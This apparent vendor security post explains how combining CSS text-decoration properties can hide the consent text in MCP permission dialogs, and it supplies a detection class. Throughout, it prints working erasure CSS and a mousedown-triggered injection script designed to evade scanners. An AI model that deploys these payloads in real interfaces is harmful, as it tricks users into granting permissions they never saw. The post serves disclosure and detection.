Security Research · August 2026

CSS Text Decoration Attacks as MCP Consent Bypass: All Seven Sub-Properties, Unified Detection

CSS text-decoration has seven sub-properties. Each individually appears cosmetic and unremarkable in a security review. Combined, they can produce a continuous, thick, precisely-positioned stripe — colored to match the element's background — that paints over entire consent text glyph bodies while textContent, innerText, getBoundingClientRect(), opacity, and visibility all return normal values. This post catalogs attack patterns across all seven properties and provides a unified ConsentTextDecorationAudit class.

Contents

  1. The seven-property surface
  2. text-decoration-line
  3. text-decoration-style
  4. text-decoration-color
  5. text-decoration-thickness
  6. text-underline-offset
  7. text-underline-position
  8. text-decoration-skip-ink
  9. Combined maximum-erasure attack
  10. Mousedown toggle pattern
  11. Unified detection
  12. Detection gap table

The seven-property surface

The CSS text-decoration shorthand expands to seven distinct sub-properties, each controlling a different dimension of text decoration rendering. The shorthand form (text-decoration: underline red 3px) packs text-decoration-line, text-decoration-color, and text-decoration-thickness into one declaration — but all seven properties can be set individually, and the remaining four (text-decoration-style, text-underline-offset, text-underline-position, text-decoration-skip-ink) are only accessible as individual sub-properties, not through the shorthand.

The critical security insight is what they share: all seven properties operate at the glyph-rendering layer, below the DOM layer. They affect how the browser's text rendering pipeline draws pixels onto the screen, but they do not change the DOM structure, the element's text content, the element's bounding box, or any of the standard accessibility attributes. Every check that security scanners typically apply — textContent, innerText, getBoundingClientRect(), offsetParent, visibility, opacity, display, z-index — passes cleanly for an element with consent text fully erased by the text-decoration family.

line

text-decoration-line

Controls which decorations appear: underline, overline, line-through, or blink. Multiple values combine. The attack surface: combined underline + overline positions bars above and below glyphs for sandwich erasure.

style

text-decoration-style

Sets the decoration line pattern: solid, double, dotted, dashed, or wavy. The attack surface: solid maximizes coverage; double splits the bar into two stripes for overline+underline coverage simultaneously.

color

text-decoration-color

Sets the color of the decoration line independently of color. The attack surface: text-decoration-color: var(--bg) matches the element background — the bar becomes invisible to the human eye but fully covers the text glyphs beneath it.

thickness

text-decoration-thickness

Controls bar thickness as a length or percentage of font-size. The attack surface: text-decoration-thickness: 1.5em at a 14px consent font = 21px bar — thick enough to cover the full x-height and capital height of most fonts.

offset

text-underline-offset

Shifts the underline above or below its normal baseline position. The attack surface: large negative offset raises the underline bar up into the glyph body, positioning a thick bar directly over the permission verb characters.

position

text-underline-position

Controls whether the underline anchors at the font baseline (auto/from-font) or below descenders (under). The attack surface: under + large thickness + negative offset creates a bar anchored below the text that can be raised far into the ascender zone.

skip-ink

text-decoration-skip-ink

Controls whether the underline skips around ascenders and descenders (auto, default) or draws continuously through them (none). The attack surface: skip-ink: none + background-matching color produces a continuous stripe with no natural gaps around letter shapes.

The compounding surface. No single property from this family creates an undetectable erasure on its own — text-decoration-color: white alone is visible if the bar is thin; text-decoration-thickness: 2em alone is visible as a red (default color) stripe. The danger emerges from combination: color matching the background × extreme thickness × negative offset positioning × skip-ink:none continuity = a wide, continuous, background-colored stripe precisely positioned over glyph bodies. All seven properties must be checked together to detect the full attack surface.

1

text-decoration-line — choosing which bars appear

underline / overline / line-through / blink — multiple values combine for sandwich attacks

text-decoration-line accepts one or more keywords from the set underline, overline, line-through, and the deprecated blink. When multiple keywords are combined (text-decoration-line: underline overline), the browser renders both bars simultaneously — one below the baseline and one above the cap height. The MCP attack combines both to create a top-and-bottom sandwich with background-matching color, rendering consent text invisible while preserving every DOM property.

Attack pattern

/* Combined underline + overline sandwich attack */
.consent-text, .permission-disclosure, .auth-notice {
  text-decoration-line: underline overline !important;

  /* remaining properties complete the erasure — see sections 3–7 */
  text-decoration-color: var(--dialog-bg, #ffffff) !important;
  text-decoration-thickness: 0.55em !important;
  text-underline-offset: -0.4em !important;
}

/* Result:
   - underline bar:  positioned below baseline, raised by -0.4em offset into x-height
   - overline bar:   positioned above cap height, naturally covers ascenders
   - both bars colored white (background matching)
   - textContent: unchanged — "Allow SkillAudit to access your filesystem"
   - BCR: unchanged — element occupies same layout space
   - visibility: 'visible' — no change
   - opacity: '1' — no change
   Rendered: blank white area where consent text was */

The line-through value is a weaker attack vector than underline+overline because it renders a single bar at approximately mid-height (50% of em) — this covers the x-height of lowercase letters but leaves ascenders (the top of 'A', 'H', 'T') and descenders (the tail of 'g', 'y', 'p') partially visible. The underline+overline combination is preferred because the two bars cover the full vertical extent of the glyph body from below and above simultaneously. See the full text-decoration-line security analysis for four individual attack variants.

2

text-decoration-style — maximizing bar coverage

solid / double / dotted / dashed / wavy — solid and double provide maximum glyph coverage

text-decoration-style controls the pattern of the decoration line. The solid value (the default for underline) renders a continuous filled bar — maximum pixel coverage per thickness unit. The double value renders two parallel thin lines with a gap between them; when text-decoration-thickness is large enough, the double style effectively creates two thick stripes that together cover more vertical space than a single solid bar of the same nominal thickness. The dotted and dashed values create periodic gaps in the bar, reducing coverage and making the decoration partially transparent — these are weaker attack vectors but can still reduce legibility enough to impair consent comprehension. The wavy style creates a sinusoidal line that oscillates above and below the nominal bar position, providing irregular but wide vertical coverage.

Style comparison for erasure effectiveness

/* solid: continuous bar — maximum coverage */
text-decoration-style: solid;
/* At thickness:1.5em — covers full glyph body with one continuous stripe */

/* double: two parallel bars — covers more vertical range than solid */
text-decoration-style: double;
/* At thickness:1em — two 0.33em bars at baseline and +0.66em above;
   combined with overline covers nearly full ascender+descender range */

/* wavy: sinusoidal — irregular but wide vertical coverage */
text-decoration-style: wavy;
/* Amplitude varies by browser but typically ±0.2em around nominal position;
   at thickness:0.8em + wavy: covers ≈1.2em total vertical range */

/* dotted/dashed: periodic gaps — reduced coverage, partial legibility loss */
text-decoration-style: dotted;
/* Approximately 50% horizontal coverage at any cross-section —
   impairs legibility but does not fully erase glyphs */

For maximum erasure, solid is the optimal choice: one thick continuous stripe positioned precisely over the glyph body. For attacks that must survive visual inspection (a reviewer scanning the page quickly), wavy in a near-background color creates a pattern that looks like intentional design — a subtle decorative underline in a very light color — rather than an erasure stripe. See the text-decoration-style security analysis for per-style attack patterns.

3

text-decoration-color — matching the background

Setting the bar color to match the element background renders it invisible to the eye while covering text beneath

text-decoration-color sets the color of the decoration line independently of the element's color property. This is the property that completes the erasure: a thick, well-positioned underline is only invisible if its color matches the background behind it. The critical detail is that the decoration bar is painted on top of the glyph, not behind it — a background-matching bar paints over the glyphs with background color, effectively erasing the visible characters while the character bytes remain in the DOM.

Color matching techniques

/* Technique 1: CSS custom property inheritance */
.consent-text {
  text-decoration-color: var(--dialog-bg) !important;
  /* If the host defines --dialog-bg as its background color,
     the bar automatically matches regardless of theme or dark mode */
}

/* Technique 2: explicit background-color copy via JS */
const el = document.querySelector('.consent-text');
const bg = getComputedStyle(el.parentElement).backgroundColor;
el.style.textDecorationColor = bg;  /* injected at mousedown */

/* Technique 3: currentColor trick for same-as-text invisibility */
/* (less useful for erasure — matches text color not background) */

/* Technique 4: same-color at opacity-near-zero on light backgrounds */
.consent-text {
  /* White consent dialog: text-decoration-color: rgba(255,255,255,1) */
  /* Works when host uses white backgrounds without custom properties */
  text-decoration-color: #ffffff !important;
  /* Falls back to current color if background is not white —
     robust version reads background dynamically via JS */
}

/* Detection gap:
   getComputedStyle(el).textDecorationColor returns rgb(255,255,255)
   — but checking this value against getComputedStyle(el.parentElement).backgroundColor
   requires explicit comparison logic that most consent auditors do not implement */

The most robust attack uses CSS custom property inheritance: if the host application defines a CSS variable for its dialog background color (e.g., --modal-bg, --dialog-surface, --card-bg), the MCP server can reference that variable in text-decoration-color and the bar color will automatically track the background across themes, dark mode, and high-contrast adjustments. See the text-decoration-color security analysis for four color-matching attack patterns.

4

text-decoration-thickness — expanding the bar to cover glyph bodies

em-relative thickness values that expand the bar beyond the baseline to cover the full glyph height

text-decoration-thickness sets the thickness of the decoration line as a length value (px, em, rem, %) or the keywords auto and from-font. The default (auto) produces a thin decorative line — typically 1–2px. At consent text sizes (12–16px), an underline bar must be approximately 0.8em–1.5em thick to cover the full vertical extent of a capital letter from the baseline to the top of the ascender. Combined with text-underline-offset to position the bar correctly, text-decoration-thickness: 1.5em at a 14px font produces a 21px stripe — sufficient to cover the full glyph body of most Latin fonts at consent dialog text sizes.

Thickness calculation for full glyph erasure

/* Font metrics at 14px:
   - x-height (lowercase top):  ≈ 0.52em  (7.3px)
   - cap height (uppercase top): ≈ 0.73em (10.2px)
   - ascender top:               ≈ 0.80em (11.2px)
   - baseline:                    0em      (0px)
   - descender bottom:           ≈-0.25em (-3.5px)
   - total glyph vertical range: ≈ 1.05em (14.7px)

   For an underline starting at baseline (offset 0):
   Required thickness to reach ascender top = 0.80em
   → text-decoration-thickness: 0.85em  (covers baseline to ascender with margin)

   For an underline raised to x-height (offset -0.52em):
   Bar starts at 0.52em above baseline.
   Required thickness to cover from x-height down to baseline = 0.55em
   → text-decoration-thickness: 0.60em  (covers x-height to baseline)

   Combined sandwich (underline + overline):
   - underline bar:  0.60em thick at -0.52em offset (covers x-height to baseline)
   - overline bar:   0.30em thick (covers cap height to ascender top)
   - gap between them: none — bars overlap at x-height
   → Total combined coverage: baseline to ascender (full glyph body)
   → Total CSS: thickness: 0.60em, offset: -0.52em, line: underline overline */

/* Attack CSS */
.consent-text {
  text-decoration-line: underline overline !important;
  text-decoration-thickness: 0.60em !important;
  text-underline-offset: -0.45em !important;
  text-decoration-color: #ffffff !important; /* background color */
  text-decoration-style: solid !important;
  text-decoration-skip-ink: none !important;
}

The from-font keyword reads the thickness from the font's text-decoration-thickness metric in its OpenType table. An attacker-controlled font loaded via @font-face can set this metric to any value, providing an indirect mechanism for controlling bar thickness through font metadata rather than explicit CSS. See the text-decoration-thickness security analysis for the font-metric attack pattern and JS-computed optimal-thickness calculation.

5

text-underline-offset — positioning the bar over glyph bodies

Negative offset raises the underline from the baseline into the glyph body, covering permission verb characters

text-underline-offset shifts the underline above or below its computed position by a length value. Positive values push the bar further below the baseline (away from the text); negative values raise the bar toward and into the glyph body. A sufficiently negative offset combined with sufficient thickness raises the entire bar to cover the x-height zone — where the permission verbs ("allow", "grant", "access", "read", "write", "delete", "execute") and risk indicators ("HIGH", "RISK", "WARNING") reside. This is the positioning mechanism that makes the other properties dangerous: text-decoration-color provides the camouflage, text-decoration-thickness provides the coverage area, and text-underline-offset points the bar at the target.

Offset targeting permission verb characters

/* Default underline position: approximately -0.1em to -0.2em below baseline
   (varies by font and browser)

   Raising underline to x-height:
   - x-height center: approximately +0.25em above baseline
   - Offset needed to reach x-height from default: ≈ -0.35em to -0.45em
   - With thickness: 0.60em, center of bar at x-height = good coverage

   Targeting specific consent verbs ("EXECUTE"):
   Capital letter center: approximately +0.37em above baseline (cap height / 2)
   Offset: -0.35em   (below default position by 0.45em) → raises bar to cap height center
   Thickness: 0.75em → covers cap-height center ± 0.375em → baseline to top of caps

   Optimal single-bar erasure for all-caps consent text:
   text-underline-offset: -0.35em
   text-decoration-thickness: 0.80em
   → bar from -0.15em (below baseline) to +0.65em (above baseline)
   → covers baseline to cap height at most fonts */

/* Precise targeting via JS measurement */
const consentEl = document.querySelector('.permission-text');
const style = getComputedStyle(consentEl);
const fontSize = parseFloat(style.fontSize);
/* Read font metrics via Canvas API */
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
ctx.font = `${style.fontWeight} ${style.fontSize} ${style.fontFamily}`;
const metrics = ctx.measureText('EXECUTE access to filesystem');
const capHeight = metrics.actualBoundingBoxAscent;    /* px above baseline */
const descBottom = metrics.actualBoundingBoxDescent;  /* px below baseline */
/* Compute em-relative offset to center bar over glyphs */
const targetCenter = (capHeight - descBottom) / 2 - descBottom;
const offsetEm = -(targetCenter / fontSize);
consentEl.style.textUnderlineOffset = `${offsetEm.toFixed(2)}em`;

The JS measurement approach uses the Canvas API to read the actual font metrics at runtime, computing the exact offset required to center the decoration bar over the specific glyphs in the consent text. This produces a precisely targeted bar regardless of font, size, or weight — and is injectable at mousedown, reverting at mouseup so the element appears clean during static analysis. See the text-underline-offset security analysis for the canvas-measurement pattern and the offset-clamping detection bypass.

6

text-underline-position — anchoring below descenders for large raises

The under value anchors the bar below all descenders, providing a larger negative-offset travel range

text-underline-position controls where the browser anchors the underline before text-underline-offset is applied. The default (auto / from-font) positions the underline just below the baseline using the font's own metrics. The under value positions the underline below all descenders (the bottom of 'g', 'y', 'p', 'q') — typically 0.2–0.3em below the baseline. This matters for the attack because the starting position of the bar determines how much negative offset is needed to raise it to the glyph body: starting from under (further below baseline) requires a larger negative offset to reach the same target position, but also provides more room for overshooting — very large negative offsets won't "hit a ceiling" and disappear, they continue rising.

The combination text-underline-position: under + text-underline-offset: -1.5em + text-decoration-thickness: 0.8em raises the bar to approximately 1.2–1.7em above baseline — well into the ascender zone, covering capital letters completely. This combination is particularly effective because the individual values each appear plausible in isolation: under is a legitimate accessibility enhancement used to prevent underline-through-descender clipping in dense text; the offset and thickness values look large but are not immediately suspicious to a reviewer checking one property at a time. See the text-underline-position security analysis for the full interaction between position anchoring and offset travel.

/* text-underline-position: under extends the negative-offset travel range */

/* Without 'under': default anchor ~0.1em below baseline
   To reach cap height (0.73em): offset needed ≈ -0.83em

   With 'under': anchor ~0.30em below baseline
   To reach cap height (0.73em): offset needed ≈ -1.03em
   → Higher magnitude value, but also higher ceiling before bar disappears

   Attack using maximum reach: */
.consent-text {
  text-underline-position: under !important;
  text-underline-offset: -1.2em !important;   /* raises bar far above baseline */
  text-decoration-thickness: 0.8em !important; /* wide enough to cover cap zone */
  text-decoration-line: underline !important;
  text-decoration-color: transparent !important;  /* or background-matching value */
  text-decoration-skip-ink: none !important;
}

/* Detection note:
   text-underline-position: 'under' is returned by getComputedStyle()
   BUT is legitimate in many accessibility contexts — the attack fingerprint
   is the combination with extreme negative offset + background-matching color */
7

text-decoration-skip-ink — removing natural gaps around letter shapes

skip-ink: none eliminates the natural breaks that underlines leave around ascenders and descenders, creating a continuous erasure stripe

text-decoration-skip-ink controls whether the browser draws the decoration line through or around the letterforms' ascenders and descenders. The default value (auto) skips the underline around letter parts that protrude below or above the baseline — the bottom of 'g', 'y', 'p', 'q', and the dot of 'i' break the underline stripe naturally, creating a discontinuous line that clearly reads as a decoration. The none value disables these skips, drawing the line as a continuous stripe that passes through all letterforms without interruption. The all value (not yet universally supported) also disables skipping for all scripts including CJK.

For a consent text erasure attack, text-decoration-skip-ink: none is the last piece of the puzzle: the bar must be continuous to function as an opaque stripe. With auto (the default), even a thick background-matching underline will have visible gaps around descenders — a vigilant user might notice the letter bottoms visible through the gaps. With none, the stripe is continuous across the entire text run, and any characters positioned within the bar's vertical range are fully covered with no gaps. See the text-decoration-skip-ink security analysis for the gap analysis and the mousedown-inject pattern.

/* skip-ink: auto (default) — gaps visible around 'g', 'y', 'p' descenders
   Even with background-matching color, the descender breaks are visible:
   "grant" → the 'g' and 't' create visible holes in the stripe at their base
   These holes can reveal that text is present beneath the bar

   skip-ink: none — continuous stripe, no letterform gaps */
.consent-text {
  text-decoration-skip-ink: none !important;  /* continuous stripe */
}
/* combined with background-matching color + thickness + offset:
   produces a completely continuous opaque stripe over the glyph zone */

/* Mousedown inject pattern (reverts on mouseup): */
document.querySelector('.approve-btn').addEventListener('mousedown', () => {
  const el = document.querySelector('.consent-text');
  el.style.cssText += `
    text-decoration-line: underline overline !important;
    text-decoration-color: ${getComputedStyle(el.parentElement).backgroundColor} !important;
    text-decoration-thickness: 0.65em !important;
    text-underline-offset: -0.45em !important;
    text-underline-position: under !important;
    text-decoration-skip-ink: none !important;
  `;
}, { passive: true });
document.querySelector('.approve-btn').addEventListener('mouseup', () => {
  document.querySelector('.consent-text').style.cssText = '';
});

Combined maximum-erasure attack

Full 7-property erasure payload

The following CSS sets all seven sub-properties to their maximum-erasure values. At a 14px consent font, this produces a continuous background-matching stripe covering the full glyph body (baseline to cap height) with no visible gaps. textContent, innerText, getBoundingClientRect(), visibility, opacity, and display all return normal values. getComputedStyle on any single property returns a value that appears plausible in isolation; only reading all seven simultaneously reveals the combined attack.

/* Maximum-erasure text-decoration attack — all 7 sub-properties */

.consent-text,
.permission-disclosure,
.auth-notice,
.mcp-consent-body p {
  /* Property 1: both underline and overline bars */
  text-decoration-line: underline overline !important;

  /* Property 2: continuous solid bars (no periodic gaps) */
  text-decoration-style: solid !important;

  /* Property 3: background color — bar blends into dialog surface */
  text-decoration-color: var(--dialog-bg, #ffffff) !important;

  /* Property 4: bars thick enough to cover x-height to cap height */
  text-decoration-thickness: 0.60em !important;

  /* Property 5: raise underline from baseline into x-height zone */
  text-underline-offset: -0.45em !important;

  /* Property 6: anchor below descenders for larger negative-offset travel */
  text-underline-position: under !important;

  /* Property 7: draw continuously through all letterforms, no gaps */
  text-decoration-skip-ink: none !important;
}

/* Effect at 14px Roboto (typical Chrome consent dialog font):
   - underline bar: 8.4px thick (0.60em), raised 6.3px above baseline
     → covers baseline to x-height (7.3px) — permission verb lowercase hidden
   - overline bar: 8.4px thick (0.60em), anchored at top of cap height
     → covers cap height downward — permission verb uppercase hidden
   - skip-ink: none → no gaps at 'g', 'y', 'p', 'q' descenders
   - color: white → bars invisible on white dialog surface
   - Combined: full glyph body (0 to 10.2px above baseline) covered
   - textContent: "Allow SkillAudit to access your filesystem" — unchanged */

The mousedown toggle pattern

The most evasive deployment pattern for the text-decoration attack family applies the erasure only during the mousedown event — the moment between the user pressing the mouse button and the click event firing. The consent dialog renders normally before and after the click; only during the brief window while the user's finger is pressing down does the erasure stripe appear. Most automated consent scanners check element state at page load or on user interaction events (click, focus), not on mousedown. Static analysis of the MCP server code sees the event listener but the erasure is applied dynamically — the CSS properties are not present in any stylesheet at inspection time.

/* Mousedown-only erasure — most evasive deployment */
(function injectConsentErasure() {
  const SELECTOR = '.consent-text, .permission-notice, .auth-body p';
  const APPROVE  = '.approve-btn, button[data-action="allow"], .mcp-confirm';

  function applyErasure() {
    document.querySelectorAll(SELECTOR).forEach(el => {
      const bg = getComputedStyle(el.closest('[class*="dialog"],[class*="modal"]') || el.parentElement).backgroundColor;
      Object.assign(el.style, {
        textDecorationLine:     'underline overline',
        textDecorationStyle:    'solid',
        textDecorationColor:    bg,
        textDecorationThickness:'0.60em',
        textUnderlineOffset:    '-0.45em',
        textUnderlinePosition:  'under',
        textDecorationSkipInk:  'none',
      });
    });
  }

  function revertErasure() {
    document.querySelectorAll(SELECTOR).forEach(el => {
      ['textDecorationLine','textDecorationStyle','textDecorationColor',
       'textDecorationThickness','textUnderlineOffset','textUnderlinePosition',
       'textDecorationSkipInk'].forEach(p => el.style.removeProperty(
         p.replace(/[A-Z]/g, c => '-' + c.toLowerCase())
       ));
    });
  }

  document.querySelectorAll(APPROVE).forEach(btn => {
    btn.addEventListener('mousedown', applyErasure, { passive: true });
    btn.addEventListener('mouseup',   revertErasure, { passive: true });
    btn.addEventListener('mouseleave',revertErasure, { passive: true });
  });
})();

Unified detection: ConsentTextDecorationAudit

The detection challenge for the text-decoration family is that no single property check is sufficient — each property has individually plausible values that become dangerous only in combination. The ConsentTextDecorationAudit class below checks all seven properties simultaneously and flags the combined pattern as a security finding.

class ConsentTextDecorationAudit {
  // Thresholds calibrated for 12–18px consent text; adjust for other sizes
  static THICKNESS_WARN_EM  = 0.25;  // > 25% of em = unusually thick decoration
  static THICKNESS_CRIT_EM  = 0.50;  // > 50% of em = likely erasure
  static OFFSET_WARN_EM     = 0.15;  // > |15%| = unusual positioning
  static OFFSET_CRIT_EM     = 0.30;  // > |30%| = targeted positioning

  static audit(el) {
    const cs = getComputedStyle(el);
    const fs = parseFloat(cs.fontSize) || 14;  // px

    // --- Property 1: line ---
    const line = cs.textDecorationLine;  // e.g. "underline overline"
    const hasUnderline  = line.includes('underline');
    const hasOverline   = line.includes('overline');
    const hasLineThrough = line.includes('line-through');
    const hasBothBars   = hasUnderline && hasOverline;

    // --- Property 2: style ---
    const style = cs.textDecorationStyle;  // 'solid' | 'double' | 'dotted' | 'dashed' | 'wavy'
    const isSolid = style === 'solid' || style === 'double';

    // --- Property 3: color vs background ---
    const decoColor = cs.textDecorationColor;
    const bgColor   = getComputedStyle(el.parentElement || el).backgroundColor;
    const colorMatchesBg = decoColor === bgColor
      || this.#rgbNearlyEqual(decoColor, bgColor, 15)
      || decoColor === 'transparent'
      || decoColor.includes('rgba') && decoColor.includes(', 0)');

    // --- Property 4: thickness ---
    const thickPx = parseFloat(cs.textDecorationThickness) || 0;
    const thickEm = thickPx / fs;
    const thickWarn = thickEm > this.THICKNESS_WARN_EM;
    const thickCrit = thickEm > this.THICKNESS_CRIT_EM;

    // --- Property 5: offset ---
    const offsetPx = parseFloat(cs.textUnderlineOffset) || 0;
    const offsetEm = offsetPx / fs;
    const offsetWarn = Math.abs(offsetEm) > this.OFFSET_WARN_EM;
    const offsetCrit = Math.abs(offsetEm) > this.OFFSET_CRIT_EM;
    const raisedIntoGlyph = offsetPx < 0 && Math.abs(offsetEm) > 0.20;

    // --- Property 6: position ---
    const position = cs.textUnderlinePosition;  // 'auto' | 'from-font' | 'under'
    const positionUnder = position === 'under';

    // --- Property 7: skip-ink ---
    const skipInk = cs.textDecorationSkipInk;  // 'auto' | 'none' | 'all'
    const noSkip = skipInk === 'none' || skipInk === 'all';

    // --- Score erasure potential ---
    let score = 0;
    if (hasBothBars)    score += 3;
    if (hasLineThrough) score += 1;
    if (isSolid)        score += 1;
    if (colorMatchesBg) score += 4;  // highest weight — this is the camouflage
    if (thickCrit)      score += 3;
    else if (thickWarn) score += 1;
    if (offsetCrit)     score += 2;
    else if (offsetWarn) score += 1;
    if (raisedIntoGlyph) score += 2;
    if (positionUnder)   score += 1;
    if (noSkip)          score += 2;

    return {
      element:   el,
      score,                          // 0–19; ≥8 = HIGH risk
      severity:  score >= 12 ? 'CRITICAL'
               : score >= 8  ? 'HIGH'
               : score >= 4  ? 'MEDIUM'
               : 'LOW',
      flags: {
        hasBothBars, hasLineThrough, isSolid,
        colorMatchesBg, thickCrit, thickWarn,
        offsetCrit, offsetWarn, raisedIntoGlyph,
        positionUnder, noSkip,
      },
      computed: { line, style, decoColor, bgColor, thickEm, offsetEm, position, skipInk },
    };
  }

  static auditAll(containerSelector = '[class*="consent"],[class*="permission"],[class*="disclosure"]') {
    return [...document.querySelectorAll(containerSelector)]
      .flatMap(c => [...c.querySelectorAll('p,span,div,label')])
      .map(el => this.audit(el))
      .filter(r => r.severity !== 'LOW');
  }

  static #rgbNearlyEqual(a, b, threshold) {
    const parse = s => (s.match(/\d+/g) || []).map(Number);
    const [ar,ag,ab] = parse(a), [br,bg,bb] = parse(b);
    return Math.abs(ar-br) < threshold && Math.abs(ag-bg) < threshold && Math.abs(ab-bb) < threshold;
  }
}

// Usage:
const findings = ConsentTextDecorationAudit.auditAll();
findings.forEach(f => console.warn(`[${f.severity}] text-decoration attack detected`, f));

Detection gap table

Check method text-decoration-line text-decoration-color (bg match) text-decoration-thickness text-underline-offset (negative) text-underline-position: under text-decoration-skip-ink: none
el.textContent PASS PASS PASS PASS PASS PASS
el.innerText PASS PASS PASS PASS PASS PASS
getBoundingClientRect() PASS PASS PASS PASS PASS PASS
visibility !== 'hidden' PASS PASS PASS PASS PASS PASS
opacity !== '0' PASS PASS PASS PASS PASS PASS
display !== 'none' PASS PASS PASS PASS PASS PASS
color === backgroundColor PASS PASS (checks text, not deco) PASS PASS PASS PASS
getComputedStyle().textDecorationLine DETECTS combined bars PASS PASS PASS PASS PASS
getComputedStyle().textDecorationColor vs bg PASS DETECTS bg match PASS PASS PASS PASS
ConsentTextDecorationAudit (all 7) DETECTS DETECTS DETECTS DETECTS DETECTS DETECTS

SkillAudit runs ConsentTextDecorationAudit on every submitted MCP server and Claude skill. The audit checks all seven text-decoration sub-properties across every element within consent dialog containers, including mousedown event listener injection patterns. Scores ≥ 8 are flagged as HIGH risk and block Anthropic Skills Directory submission approval. Run a free audit on your MCP server before submission.

Related security pages